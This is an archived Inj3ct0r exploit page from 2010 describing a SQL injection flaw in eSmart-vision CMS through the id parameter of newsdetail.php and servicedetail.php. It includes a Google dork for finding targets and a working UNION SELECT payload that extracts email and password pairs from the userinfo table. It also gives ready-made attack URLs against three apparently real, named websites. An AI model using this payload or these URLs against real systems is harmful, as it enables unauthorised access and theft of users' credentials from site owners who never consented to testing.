<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>eSmart-vision CMS Multiple SQL Injection Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>======================================================
eSmart-vision CMS Multiple SQL Injection Vulnerability
======================================================

##############################################################################
# [+]Title: [eSmart-vision CMS Multiple SQL Injection Vulnerability]
##############################################################################
# [+] About :
==============================================================================
# Author : GlaDiaT0R
# Contact: the_gl4di4t0r[AT]hotmail[DOT]com or berrahal.ryadh[AT]gmail[DOT]com
# Team : Tunisian Power Team
# Greetz : ALLAH ! , Boomrang_victim, Marwen_Neo, Alphanix, Zigma &amp; my friends
#
# Software Link: www.esmart-vision.com/
# Google dork : [ intext:Powered By eSmart-vision.com ]
##############################################################################
# [+] Exploits :
==============================================================================
#
# Path: http://localhost/newsdetail.php?id=[SQL]
# http://localhost/servicedetail.php?id=[SQL]
# Demo : -1994+union+all+select+1,2,group_concat(Email,0×3a,Password),4,5,6,7+from+userinfo–
# http://www.mouafaqbtc.com/servicedetail.php?id=-1994+union+all+select+1,2,group_concat%28Email,0×3a,Password%29,4,5,6,7+from+userinfo–
# http://www.knowledgeme.org.uk/newsdetail.php?id=-1994+union+all+select+1,2,group_concat%28Email,0×3a,Password%29,4,5,6,7+from+userinfo–
# http://www.aloolla.com/newsdetail.php?id=-1994+union+all+select+1,2,group_concat%28Email,0×3a,Password%29,4,5,6,7+from+userinfo–
##############################################################################
# Notice: I’M MUSLIM
##############################################################################

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-05]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13146